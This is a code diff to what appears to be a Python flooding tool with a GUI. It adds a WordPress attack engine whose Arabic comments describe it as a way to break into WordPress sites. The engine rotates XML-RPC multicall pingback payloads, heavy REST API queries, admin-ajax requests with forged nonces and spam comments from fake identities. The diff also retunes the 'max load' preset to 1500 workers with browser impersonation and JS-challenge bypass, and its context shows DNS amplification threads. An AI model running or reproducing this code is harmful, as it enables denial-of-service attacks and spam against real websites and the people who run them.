Update 1.py

1.py

@@ -3347,6 +3347,82 @@ def print_evasion_report(identity_pool=None, use_tcp_spoof=False, use_cffi=False
 
 
 
+class WordPressBypassEngine:
+    """محرك متخصص لاختراق ووردبريس عبر ثغرات منطقية متعددة"""
+
+    def __init__(self, target_host):
+        self.host = target_host
+        self.scheme = "https"
+        self.last_post_id = random.randint(1, 500)
+        self.attack_index = 0
+        self.endpoints = [
+            self._xmlrpc_attack,
+            self._rest_api_attack,
+            self._ajax_attack,
+            self._comment_attack,
+        ]
+
+    def get_next_payload(self):
+        """دور بين 4 أنواع هجوم مختلفة لتجنب النمطية"""
+        self.attack_index = (self.attack_index + 1) % len(self.endpoints)
+        return self.endpoints[self.attack_index]()
+
+    def _xmlrpc_attack(self):
+        """XML-RPC Multipayload - يستهلك CPU ويصعب تحليله"""
+        path = "/xmlrpc.php"
+        multicall = []
+        for _ in range(20):
+            multicall.append({
+                "methodName": "pingback.ping",
+                "params": [
+                    f"https://{random.choice(['google.com', 'bing.com', 'example.com'])}",
+                    f"{self.scheme}://{self.host}/{random.randint(1,999)}"
+                ]
+            })
+        payload = f"""<?xml version="1.0"?>
+<methodCall>
+  <methodName>system.multicall</methodName>
+  <params><param><value><array><data>
+    {''.join([f'<value><struct><member><name>methodName</name><value><string>{m["methodName"]}</string></value></member><member><name>params</name><value><array><data><value><string>{m["params"][0]}</string></value><value><string>{m["params"][1]}</string></value></data></array></value></member></struct></value>' for m in multicall])}
+  </data></array></value></param></params>
+</methodCall>"""
+        return path, payload, "text/xml"
+
+    def _rest_api_attack(self):
+        """REST API - يستهلك قاعدة البيانات"""
+        path = f"/wp-json/wp/v2/posts?per_page={random.randint(50,100)}&page={random.randint(1,20)}"
+        return path, "", "application/json"
+
+    def _ajax_attack(self):
+        """Admin AJAX - يحاكي طلبات حقيقية من الواجهة"""
+        actions = ["wp_ajax_nopriv_", "heartbeat", "query-attachments", "get-comments"]
+        action = random.choice(actions) + str(random.randint(1, 999))
+        path = f"/wp-admin/admin-ajax.php?action={action}&_wpnonce={hashlib.md5(str(random.random()).encode()).hexdigest()[:10]}"
+        payload = f"post_id={random.randint(1,500)}&comment_parent=0&comment={''.join(random.choices(['Nice','Great','Thanks','Awesome','Informative'], k=random.randint(3,8)))}"
+        return path, payload, "application/x-www-form-urlencoded"
+
+    def _comment_attack(self):
+        """تعليق وهمي مع محاولة تخمين الـ Nonce"""
+        path = "/wp-comments-post.php"
+        self.last_post_id = random.randint(1, 500)
+        comment_text = ' '.join(random.choices([
+            'Great article!', 'Very informative.', 'I totally agree with your point.',
+            'Thanks for sharing this.', 'This is really helpful.', 'Interesting perspective.',
+            'Well written!', 'Looking forward to more content.', 'I have a question about this.'
+        ], k=random.randint(2,5)))
+
+        payload = urllib.parse.urlencode({
+            'author': random.choice(['Ahmed', 'Mohamed', 'Omar', 'Sara', 'John', 'Emma', 'Liam']),
+            'email': f'user_{random.randint(1000,9999)}@{random.choice(["gmail.com","yahoo.com","outlook.com"])}',
+            'url': f'https://{random.choice(["example.com","blogger.com","wordpress.org"])}',
+            'comment': comment_text,
+            'comment_post_ID': str(self.last_post_id),
+            'comment_parent': '0',
+            'submit': 'Post Comment'
+        })
+        return path, payload, "application/x-www-form-urlencoded"
+
+
 class UltimateIntegratedEngine:
     def __init__(self, target: str, threads: int = 1000, duration: int = 0,
                  use_identities: bool = True, use_human_timing: bool = True,
@@ -3574,50 +3650,41 @@ class UltimateIntegratedEngine:
                                 threading.Thread(target=dns_amplification_attack, args=(ns_ip, 53, 150), daemon=True).start()
                             except Exception:
                                 pass
-                    if random.random() < 0.1:
-                        path = "/feed/"
-                        method = "GET"
-                    else:
-                        wp_attack_paths = [
-                            "/wp-comments-post.php",
-                            "/wp-admin/admin-ajax.php?action=do_feed",
-                            "/xmlrpc.php",
-                            "/wp-json/wp/v2/posts"
-                        ]
-                        selected_path = random.choice(wp_attack_paths)
-                        path = selected_path
-                        method = "POST"
-                        if 'xmlrpc' in selected_path:
-                            data = """<?xml version="1.0"?>
-<methodCall>
-  <methodName>system.multicall</methodName>
-  <params>
-    <param><value><array><data>
-      <value><struct>
-        <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
-        <member><name>params</name><value><array><data>
-          <value><string>admin</string></value>
-          <value><string>password123</string></value>
-        </data></array></value></member>
-      </struct></value>
-    </data></array></value></param>
-  </params>
-</methodCall>"""
+                    if self.wordpress_mode:
+                        if not hasattr(self, 'wp_engine'):
+                            self.wp_engine = WordPressBypassEngine(self.host)
+                        wp_path, wp_payload, content_type = self.wp_engine.get_next_payload()
+                        path = wp_path
+                        if 'xmlrpc' in path:
+                            data = wp_payload.encode('utf-8')
                             headers["Content-Type"] = "text/xml"
+                            headers["Content-Length"] = str(len(data))
+                        elif 'admin-ajax' in path:
+                            data = wp_payload.encode('utf-8')
+                            headers["Content-Type"] = "application/x-www-form-urlencoded"
+                            headers["X-Requested-With"] = "XMLHttpRequest"
+                            headers["Referer"] = f"{self.scheme}://{self.host}/"
+                        elif 'wp-json' in path:
+                            data = None
+                            headers["Accept"] = "application/json, text/javascript, */*; q=0.01"
+                            headers["Referer"] = f"{self.scheme}://{self.host}/"
                         else:
-                            payload = urllib.parse.urlencode({
-                                'author': random.choice(['Ahmed', 'Mohamed', 'Omar', 'Sara']),
-                                'email': f'user{random.randint(1,9999)}@gmail.com',
-                                'url': 'https://example.com',
-                                'comment': ' '.join(random.choices(['Nice post!', 'Thanks for sharing.', 'Very informative.', 'Great content!'], k=3)),
-                                'comment_post_ID': str(random.randint(1, 500)),
-                                'comment_parent': '0',
-                                'submit': 'Post Comment'
-                            })
+                            data = wp_payload.encode('utf-8')
                             headers["Content-Type"] = "application/x-www-form-urlencoded"
-                            data = payload.encode('utf-8')
-                    if self.random_query and '?' not in path:
-                        path += f'?_{random.randint(1,999999)}'
+                            headers["Referer"] = f"{self.scheme}://{self.host}/"
+                            headers["Origin"] = f"{self.scheme}://{self.host}"
+                    else:
+                        if self.random_query:
+                            if '?' in path:
+                                path += f"&_{random.randint(1,999999)}"
+                            else:
+                                path += f"?_{random.randint(1,999999)}"
+                        if self.http_method == "POST":
+                            body = AIPayloadGenerator.generate_json_data(random.choice(["login", "comment", "search"]))
+                            headers["Content-Type"] = "application/json"
+                            data = body.encode('utf-8')
+                        else:
+                            data = None
                 else:
                     if self.random_query:
                         if '?' in path:
@@ -4147,31 +4214,33 @@ class UltimateIntegratedGUI:
             self.log(f"📁 Proxy file loaded: {filename}", "INFO")
     def set_max_load(self):
         self.mode_var.set("Integrated")
-        self.threads.set(2000)
+        self.threads.set(1500)
         self.duration.set(0)
-        self.requests.set(50000000)
-        self.method.set("GET")
+        self.requests.set(0)
+        self.method.set("POST")
         self.request_rate.set(0)
         self.vpn_mode.set("System Default")
+
         self.use_identities.set(True)
-        self.use_human_timing.set(False)
+        self.use_human_timing.set(True)
         self.use_cffi.set(True)
         self.use_js_bypass.set(True)
-        self.use_tcp_spoof.set(True)
+        self.use_tcp_spoof.set(False)
         self.use_ai_payload.set(True)
         self.use_captcha.set(False)
+        self.use_keepalive.set(True)
+        self.use_http2.set(False)
+        self.use_random_query.set(True)
+        self.max_load.set(True)
+
         self.dns_amplify_var = tk.BooleanVar(value=False)
         self.ns_attack_var = tk.BooleanVar(value=False)
         self.dns_amplify.set(False)
         self.ns_attack.set(False)
 
-        self.use_keepalive.set(True)
-        self.max_load.set(True)
-        self.use_http2.set(True)
-        self.use_random_query.set(True)
         if hasattr(self, 'current_impersonate'):
             self.current_impersonate = random.choice(self.impersonate_list)
-        self.log("🚀 MAX LOAD ACTIVATED: 2,000 workers, JS Bypass ON, DNS Amplification OFF, NS Attack OFF, TLS Spoof ON, HTTP/2 ON.", "SUCCESS")
+        self.log("🧠 SMART MAX LOAD ACTIVATED: 1500 Workers, 4-Vector WP Attack, JS Bypass ON, TLS Spoof ON.", "SUCCESS")
 
     def _find_executable(self, names, extra_paths=None):
         found = []